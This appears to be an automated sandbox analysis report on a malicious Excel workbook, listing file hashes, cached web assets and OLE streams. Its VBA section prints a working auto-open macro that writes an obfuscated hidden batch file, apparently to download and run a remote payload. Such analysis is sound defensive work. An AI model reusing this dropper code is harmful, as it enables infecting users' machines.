SSDEEP:	48:A/ZGnrZNGkS5fS0sGukCMiVG9/WDLqI+TlZ7kKXQmMfdScuFeUK7rqW9dvgOGH6o:oZ0ZQolYC1+kp+5Z7kKXQmGoeUK7+P
MD5:	2737F7BF6C359378B907AE244C7C41C3
SHA1:	14C848EA1F424CD82CBF1F732BBEB0D50F06169F
SHA-256:	2EDF2AA5AAA3ABEDE8968ECCFE9871849205188186D1AE62F14AB3FF4BB8EF6C
SHA-512:	994CBEE171BF10EA517579819D6F82C446F10ADFF9DB72EB78771560DC8DB855799D1B9B4E6360EA4E2010965569F46BB371B1E75398FDF5510D2BCC8FC1BC60
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24
Preview:	/* . * .Core Owl Carousel CSS File. .v1.24. /../* clearfix /..owl-carousel .owl-wrapper:after {..content: ".";..display: block;..clear: both;..visibility: hidden;..line-height: 0;..height: 0;.}./ display none until init */..owl-carousel{..display: none;..position: relative;..width: 100%;..-ms-touch-action: pan-y;.}..owl-carousel .owl-wrapper{..display: none;..position: relative;..-webkit-transform: translate3d(0px, 0px, 0px);.}..owl-carousel .owl-wrapper-outer{..overflow: hidden;..position: relative;..width: 100%;.}..owl-carousel .owl-wrapper-outer.autoHeight{..-webkit-transition: height 500ms ease-in-out;..-moz-transition: height 500ms ease-in-out;..-ms-transition: height 500ms ease-in-out;..-o-transition: height 500ms ease-in-out;..transition: height 500ms ease-in-out;.}....owl-carousel .owl-item{..float: left;.}..owl-controls .owl-page,..owl-controls .owl-buttons div{..cursor: pointer;.}..owl-controls {..-webkit-user-select: none;..-khtml-user-select: none;..-moz-user-select: no

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\owl.theme[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1664
Entropy (8bit):	5.223754054665017
Encrypted:	false
SSDEEP:	24:8rpEA98FvWxsEFgbZl4ulFZlnG1GoRVWX1GaDtGqvWf+KHK2ld1GKZXugZM5+iTk:8PG0+EFgPeAGfBw5JX0kg9
MD5:	FE31A99F51A65EC2A31AD4B63702C93D
SHA1:	1BA10A799FBD399D03E9AD2C71431C89ABBC4F32
SHA-256:	8F8439F41DD768871BDE30FCEB034A6DE5A50945A564658A60A06B23CB5D039A
SHA-512:	0346796A91A74B470D6C44536A685D8F8E7C154163A60CF001EC15CDD80A71B43ED270112575E584974F8274FDB4200E2A3EBF92DA8A8F9ACC1438BD3495446F
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Preview:	/. .Owl Carousel Owl Demo Theme ..v1.24./...owl-theme .owl-controls{..margin-top: 10px;..text-align: center;.}../* Styling Next and Prev buttons /...owl-theme .owl-controls .owl-buttons div{..color: #FFF;..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /..margin: 5px;..padding: 3px 10px;..font-size: 12px;..-webkit-border-radius: 30px;..-moz-border-radius: 30px;..border-radius: 30px;..background: #869791;..filter: Alpha(Opacity=50);/IE7 fix/..opacity: 0.5;.}./* Clickable class fix problem with hover on touch devices /./ Use it for non-touch hover action /..owl-theme .owl-controls.clickable .owl-buttons div:hover{..filter: Alpha(Opacity=100);/IE7 fix/..opacity: 1;..text-decoration: none;.}../ Styling Pagination/...owl-theme .owl-controls .owl-page{..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /.}..owl-theme .owl-controls .owl-page span{..display: block;..width: 12px;..height: 12px;..margin: 5px 7px;..filter: Alpha(Opacity=50);/

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\scripts[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14585
Entropy (8bit):	5.05967424474738
Encrypted:	false
SSDEEP:	384:Y0KR2j16xNN7FUx4fCauIC+V+oeBKdYYJfRscKvVJVw1Iv3S3OVKEkl9UQznC:Rrj16xNN7Cx4fj4+WVJ/v3ZVAC
MD5:	80F051B85C7CC301D20DC6C522C71814
SHA1:	D8344EEE926EBE2F35396F51CFA5614CB4307B40
SHA-256:	C6138C4B65AAFF6E46D51C26096FFFFADD202974003AD0F6D4475B45204BD0AB
SHA-512:	24BF9B3B18299B678273D028F81BB9B5816E2EB98402D6CD9ADAAEA755C56F6D1FC2E49B2F86248DFAE341E7127458DC0BD2F62C41DC020E16D251FD3E0262A2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Preview:	( function( $ ) {...'use strict';...if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {...return;..}...wpcf7 = $.extend( {...cached: 0,...inputs: []..}, wpcf7 );...$( function() {...wpcf7.supportHtml5 = ( function() {....var features = {};....var input = document.createElement( 'input' );.....features.placeholder = 'placeholder' in input;.....var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];.....$.each( inputTypes, function( index, value ) {.....input.setAttribute( 'type', value );.....features[ value ] = input.type !== 'text';....} );.....return features;...} )();....$( 'div.wpcf7 > form' ).each( function() {....var $form = $( this );....wpcf7.initForm( $form );.....if ( wpcf7.cached ) {.....wpcf7.refill( $form );....}...} );..} );...wpcf7.getId = function( form ) {...return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );..};...wpcf7.initForm = function( form ) {...var $form = $( form );....$form.submit( function( event ) {....if ( typeof window.FormD

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\scrollShowTime[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	downloaded
Size (bytes):	1506
Entropy (8bit):	3.8120848042014237
Encrypted:	false
SSDEEP:	24:qzzEbPmDAFSbEigNMtDsmkKnxN8kKOx0STxHxKfZlJhYCpI0:+EKxJrk5kfdcfHkCB
MD5:	6B49B3E0D4EBC1DC791F05F077A218C4
SHA1:	710F5BA21E2E6BFAC71559BA8B3AB5AF5685A856
SHA-256:	A3A8314DF976D890F6389F1F9AA6B955A5069FBBF8EC6B546E6EDAF298B2DD93
SHA-512:	1A96C3D8D6514F95480C971A172A86046A2D534253EF0800A75D8F8834208F9954B9D0FAA344C9AA5CB2B796F520A5FD25FBDA9BA3F070AC5458E58681C38873
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Preview:	.(function($){. $.fn.scrollShowTime=function(o){. var getOption = {. correctionY: 100. , onShow: function(){}. }. $.extend(getOption, o);. . return this.each(function(){. var _this = $(this). ,topOffset. ,windowHeight. ,_visible=false. ,_win=$(window). ,_doc=$(document). ;. init();. function init(){. setTopOffset();. _this.addClass('hide_state');. addEventHandler();. }//end init. function setTopOffset(){. topOffset = _this.offset().top;. }. function addEventHandler(){. $(window).on('scroll',function(){. setTopOffset();. positionListener();. }).trigger('scroll');. . $(window).on('resize', function(){. setTopOffse

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\superfish[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2913
Entropy (8bit):	5.1479046643148605
Encrypted:	false
SSDEEP:	48:uDmDV1xEm0TSDDdVVsIro4VmfYIy8G7HzjiYqcq6nQxzRqnICijh2eqicoj:uDmDOjKDdVpro4VmmjiYPq2ICQdcoj
MD5:	259022BDE29C49E9D273D33493BD7B01
SHA1:	16A4305C60037A05644EEF5BD7C1AFC5BBD5D74A
SHA-256:	6301E8E9AB12CACCBF4EB772E114D56F4BDF3A27875CDCAB57E8E8AF5E04CB5A
SHA-512:	9E627852C7F6AF6EFA7BB74A812875D5907A8EFCAFF761EA815A99281EE2076233103A701319637417B1FC923E27658DD7F701CCCBDA9F9B1C06A8644CE18A73
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Preview:	(function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,.e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m=function(c){var b=a(this

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\warning[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\warning[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\wp-emoji-release.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	11943
Entropy (8bit):	5.096253847639827
Encrypted:	false
SSDEEP:	192:WuKiKqdccoXJW+TJr3J//bEvAbWXXR6AooHyrOUVsbEJEoesM0m3dJXWP/2//:0qlkJW+TJr3J//bEI+XgA5UCOeffJmW3
MD5:	FE0575B66568074463F12485D90F6D4C
SHA1:	AEEDD9AB3B7874E63F647042963CB1301A38B391
SHA-256:	647A6B36F3FD1F21BAE171270111096B4613C23A47E6621628A51BAE9C82B0B7
SHA-512:	0D209CBC9550CFCF49CA7CA5A1243E1578C0A42F9FB28C1FA8D353CEA26F24EED282547F47FE858126E1BA9A4AA4D8DDBD2CBDEF9DB5A45F24CFBFD6383BFF9E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Preview:	// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSV

C:\Users\user\AppData\Local\Temp\~DF58FD8B3B582038C5.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.1421108612298547
Encrypted:	false
SSDEEP:	768:QK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqM:QK1Tgbyw3sz2jyngov9rjXjBCKoAuulF
MD5:	51DAC625BC7DF03F90C3ABCF22270D98
SHA1:	71EC33F53B430FE4693C1281F46587281167F0FA
SHA-256:	11A9DFA4DB9EDB39AF8849704F7127DC2CD71E9DEBB59D7F5963B0A1040AF137
SHA-512:	9A378DB76FA2A6BC2D987806C4B079E6174E59E38E546717E0EF06EB925A8383EE621EBE164BB4AB3C379D8109D11613473F3A95F70C080173E48ABA8FE11D74
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF8C1E52651A2EF911.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4834937534047805
Encrypted:	false
SSDEEP:	192:+SPZFPDuA4sSe/vcAwbvmuxYGUAKy4YvczrOcUmU9T6Rua:dBVDusZ/vcAamuxWyPvYackq
MD5:	C1B0A748EAF22B3F88F9F81C39ADF222
SHA1:	ECF7ADD074122CA23310C2EF48F9BE73B546221D
SHA-256:	A2BF31AD254C4E77066413B1E4E119D6D7F2FA1C2443BB951E998C316B3088BE
SHA-512:	1EF1B775AA44B2C3AC525B1FCDF2D05F72D2002B877A74D7350046EAF531DF7CD9705373972D207B62B9C9CFBA5E8FAC0826469F7CF1FDBDA2F2BB05E3D7C7C3
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	4.6141229119661205
Encrypted:	false
SSDEEP:	768:SFK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:SFK1Tgbyw3sz2jyngov9rjXjBCKoAuuz
MD5:	F7C06FBD8167859CA22BA7AFC3581504
SHA1:	8320336C51044C3398FCAF406355DE5B02E8E779
SHA-256:	72F567DED90600F32656529D7627B7B4D2B8A3E58436801A009EB35619759AEA
SHA-512:	F2A1E9401E4B50EB0FD92604897CFDE9A38C1BF7AF22EA6D2A93224DA5827FCBE13582FFB7F3D50B6140E2017DC6E82C8F67E51463B82EF6253136A68BC9298E
Malicious:	true
Preview:	......................>...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$...#........................................................................................................... ...!...".......6...2...&...'...(...)...*...+...,...-......./...0...1.......3...4...5...7...H...8...9...:...;...<...=...I...?...@...A...B...C...D...E...F...G...........J...K...............................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
Entropy (8bit):	4.612326657888378
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls
File size:	39424
MD5:	3bc62bd8b910eb17b12a3b69fc050571
SHA1:	e4b91c0b407197bbfc6cbd1b6436a69277620db5
SHA256:	8e2a3f67543b17ea35bc2c3bbcdbb9100fda5cb2fb90e911bef2943f76dc2bef
SHA512:	c28f6f593ac227dbcc9eab3ae7a52050bbd1475dfc6717fc9a78cb0f0e4162b49e4affd205e3b081e6d980c35e4e833ed9f639116eded39136744ade94b57c45
SSDEEP:	768:aK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:aK1Tgbyw3sz2jyngov9rjXjBCKoAuulh
TLSH:	F6031C26BA95C8B6DA67133AACE791C5623BBC131E1E52477204F32D7EB11D7840722F
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	74ecd4c6c3c6c4d8

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:	MARIANO PEREIRA
Last Saved By:	Cavaleiro De Troia
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2021-05-02 18:59:33
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: EstaPastaDeTrabalho.cls, Stream Size: 4626

General
Stream Path:	_VBA_PROJECT_CUR/VBA/EstaPastaDeTrabalho
VBA File Name:	EstaPastaDeTrabalho.cls
Stream Size:	4626
Data ASCII:	. . . . . . . . . . . . . . . 8 . . . < . . . J . . . > . . . . . . . . . . . . = s . . # . . . . . . . . . . . . . . . . . p . . . s . ~ T I J y \\ . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . P \\ = g B . . : p . . . . . . . . . . . . . . . . . . . . . . x . . . . P \\ = g B . . : p s . ~ T I J y \\ . . . . M E . . . . . . . . . . . . . . . . . . . . . 0 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . . . . . . . . . . . . . < 8 . . . . . . < . . . . . . . . . . N . 0 .
Data Raw:	01 16 03 00 06 00 01 00 00 ea 05 00 00 e4 00 00 00 38 02 00 00 3c 06 00 00 4a 06 00 00 3e 0e 00 00 00 00 00 00 01 00 00 00 7f 3d c0 73 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 73 08 b9 7e 54 c1 49 4a 9c 94 fe 79 dc 5c af 9b 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
   sFile = Environ("Public") & "\Outlook.bat"
      
   Close
     Open sFile For Output As #1
Print #1, "call getCmdPid.bat"
Print #1, "set PID=%errorlevel%"
Print #1, "call windowMode.bat -pid %PID% -mode hidden"
Print #1, "cd C:\Users\Public"
Print #1, "@echo off"
Print #1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
Print #1, "cls"
Print #1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"




   For iCounter = 2 To iStage
      Print #1, "    </ul>"
      iStage = iStage - 1
   Next iCounter:      Shell$    "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0
   
   
   
   

   Close


End Sub

VBA File Name: Planilha1.cls, Stream Size: 1002

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Planilha1
VBA File Name:	Planilha1.cls
Stream Size:	1002
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . = I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 7f 3d 49 ac 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 109

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	109
Entropy:	4.257541421397259
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F ! . . . P l a n i l h a d o M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 50 6c 61 6e 69 6c 68 61 20 64 6f 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	\x1Ole
File Type:	data
Stream Size:	20
Entropy:	0.8475846798245739
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.2516291673878228
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 04 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 240

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	240
Entropy:	2.6096962931292262
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P l a n 1 . . . . . . . . . . . . . . . . . P l a n i l h a s . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c0 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9e 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 228

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	228
Entropy:	3.9071239156716207
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M A R I A N O P E R E I R A . . . . . . . . . C a v a l e i r o D e T r o i a . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . . I ? . . . . . . . . .
